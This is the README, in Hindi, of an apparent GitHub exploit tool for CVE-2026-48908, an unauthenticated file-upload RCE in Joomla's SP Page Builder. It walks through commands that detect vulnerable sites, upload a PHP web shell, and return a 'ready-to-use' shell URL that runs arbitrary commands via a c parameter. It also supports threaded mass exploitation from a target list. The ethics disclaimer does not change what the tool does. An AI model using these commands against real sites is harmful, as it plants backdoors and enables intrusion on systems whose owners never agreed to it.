🔐 CVE-2026-48908 स्कैनर + PoC (सुरक्षित एक्सप्लॉइट)

📌 इस प्रोजेक्ट के बारे में

यह प्रोजेक्ट एक सुरक्षा अनुसंधान उपकरण है जिसे yora द्वारा Joomla के लिए SP Page Builder एक्सटेंशन में CVE-2026-48908 भेद्यता का पता लगाने और साबित करने के लिए विकसित किया गया है।

यह भेद्यता हमलावर को बिना प्रमाणीकरण के asset.uploadCustomIcon एंडपॉइंट के माध्यम से PHP फ़ाइल अपलोड करने की अनुमति देती है, जिसे बाद में सार्वजनिक निर्देशिका में निकाला जाता है और निष्पादित किया जा सकता है → रिमोट कोड निष्पादन (RCE)।

प्रभावित संस्करण: SP Page Builder 1.0.0 से 6.6.1 तक (6.6.2 में ठीक किया गया)।

⚠️ चेतावनी – इसका उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति है। बिना अनुमति के उपयोग अवैध है।

👨‍💻 डेवलपर

इस प्रोजेक्ट को विकसित और प्रबंधित किया गया है:

• yora — GitHub • Twitter

सुरक्षा समुदाय और स्वतंत्र शोध द्वारा समर्थित।

✨ प्रमुख विशेषताएं

🚀 इंस्टॉलेशन

रिपॉजिटरी क्लोन करें

git clone https://github.com/yora1928/CVE-2026-48908-by-yora.git
cd CVE-2026-48908-by-yora

डिपेंडेंसी इंस्टॉल करें

python -m pip install -r requirements.txt

requirements.txt:

requests>=2.28.0

📖 उपयोग गाइड

1️⃣ केवल डिटेक्शन (बिना एक्सप्लॉइटेशन)

python scanner.py --url https://target-website.com

उदाहरण आउटपुट:

[🔴 CONFIRMED] https://target-website.com
    ├─ SP detected
    ├─ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open

2️⃣ डिटेक्शन + RCE प्रमाण (सुरक्षित एक्सप्लॉइट)

python scanner.py --url https://target-website.com --exploit

क्या होता है:

• टूल असुरक्षित संस्करण का पता लगाता है।
• गुप्त टोकन के साथ PHP फ़ाइल अपलोड करता है।
• निष्पादन सुनिश्चित करने के लिए उस फ़ाइल तक पहुंचने का प्रयास करता है।
• सफल होने पर, उपयोग के लिए तैयार Shell URL प्रदर्शित करता है।

सफल आउटपुट का उदाहरण (वास्तविक परीक्षण से):

[*] Scanning: https://target-website.com
[*] Target confirmed vulnerable. Running adaptive exploit...
[*] Trying method: php                 -> EXECUTED
[🔴 CONFIRMED] https://target-website.com
    ├─ SP detected
    ├─ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open
    └─ ✅ RCE confirmed via PoC upload!
         Shell URL: https://target-website.com/media/com_sppagebuilder/assets/iconfont/icoyjdehd/fonts/fpqofpk.php?t=7f5e90gcxx0j0r51&c=<cmd>
         Created dirs: media/com_sppagebuilder/assets/iconfont/icoyjdehd

Shell URL का उपयोग कैसे करें:

• c पैरामीटर के साथ URL तक पहुंचें, जिसमें वह कमांड हो जिसे आप चलाना चाहते हैं।
• उदाहरण: ...?t=7f5e90gcxx0j0r51&c=whoami
• कमांड का आउटपुट पेज पर दिखाई देगा।

🔐 टोकन (t=...) गुप्त है – शेल URL अनधिकृत लोगों के साथ साझा न करें।

3️⃣ फ़ाइल से कई टारगेट स्कैन करें

एक targets.txt फ़ाइल बनाएं (प्रति पंक्ति एक URL):

https://site1.com
https://site2.com

चलाएं:

python scanner.py --list targets.txt --threads 5

एक्सप्लॉइट के साथ:

python scanner.py --list targets.txt --threads 5 --exploit

4️⃣ परिणाम JSON फ़ाइल में सहेजें

python scanner.py --url https://target.com --output reports/hasil.json

5️⃣ क्लीनअप (आर्टिफैक्ट्स हटाएं)

पूरा होने के बाद, बनाई गई निर्देशिकाओं को साफ करें:

python scanner.py --url https://target.com --exploit --cleanup

नोट: --cleanup मैन्युअल रूप से चलाने के लिए rm -rf कमांड दिखाता है (क्योंकि लिखने की अनुमति सीमित हो सकती है)। यदि आपके पास FTP/SSH एक्सेस है, तो Created dirs में सूचीबद्ध निर्देशिकाओं को हटा दें।

📊 वर्गीकरण परिणामों की व्याख्या

📁 JSON रिपोर्ट का उदाहरण

scan_result.json फ़ाइल में एकत्रित सभी साक्ष्य शामिल हैं:

{
  "scanner": "CVE-2026-48908 Scanner + Exploit",
  "scan_time": "2026-08-13T10:30:00.123456+00:00",
  "total_targets": 1,
  "results": [
    {
      "target": "https://target.com",
      "classification": {
        "status": "CONFIRMED",
        "confidence": "high",
        "reasoning": ["Vulnerable version 6.3.1 and endpoint open"],
        "evidence_summary": ["SP asset at /components/..."]
      },
      "exploit_result": {
        "upload_success": true,
        "access_success": true,
        "shell_url": "https://target.com/media/.../fpqofpk.php?t=TOKEN&c=<cmd>",
        "created_dirs": ["media/com_sppagebuilder/assets/iconfont/icoyjdehd"]
      }
    }
  ]
}

📁 प्रोजेक्ट संरचना

CVE-2026-48908-by-yora/
├── scanner.py          # File utama (deteksi + exploit)
├── requirements.txt    # Dependensi Python
├── README.md           # Dokumentasi ini
├── SECURITY.md         # Kebijakan keamanan dan pelaporan
├── LICENSE             # Lisensi MIT
├── detection/          # (opsional) modul deteksi tambahan
├── poc/                # (opsional) PoC alternatif
└── reports/            # Tempat menyimpan hasil JSON (otomatis)

🔒 नैतिकता और जिम्मेदारी

• इस टूल का उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिन्होंने आपको लिखित अनुमति दी है।
• इसका उपयोग इनके लिए न करें:
  • इंटरनेट पर यादृच्छिक स्कैनिंग।
  • हमला करने के लिए असुरक्षित टारगेट इकट्ठा करना।
  • दूसरों के सिस्टम तक अवैध पहुंच।
• पूरा होने के बाद, सभी आर्टिफैक्ट्स हटाएं (अपलोड की गई फ़ाइलें और निर्देशिकाएँ)।
• लेखक (yora) इस टूल के दुरुपयोग के लिए जिम्मेदार नहीं है।

इस टूल का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों के लिए पूरी तरह से जिम्मेदार हैं।

📬 योगदान और रिपोर्टिंग

यदि आपको कोई समस्या मिलती है या योगदान देना चाहते हैं, तो कृपया इस रिपॉजिटरी में Issue या Pull Request खोलें।

सुरक्षा रिपोर्ट के लिए, SECURITY.md में दिए गए दिशानिर्देशों का पालन करें।

📜 लाइसेंस

यह प्रोजेक्ट MIT License के तहत लाइसेंस प्राप्त है – विवरण के लिए LICENSE फ़ाइल देखें।

🙏 श्रेय

• CVE खोज: CERT Vanuatu, Censys, Check Point
• अनुसंधान और PoC कार्यान्वयन: yora और सुरक्षा समुदाय।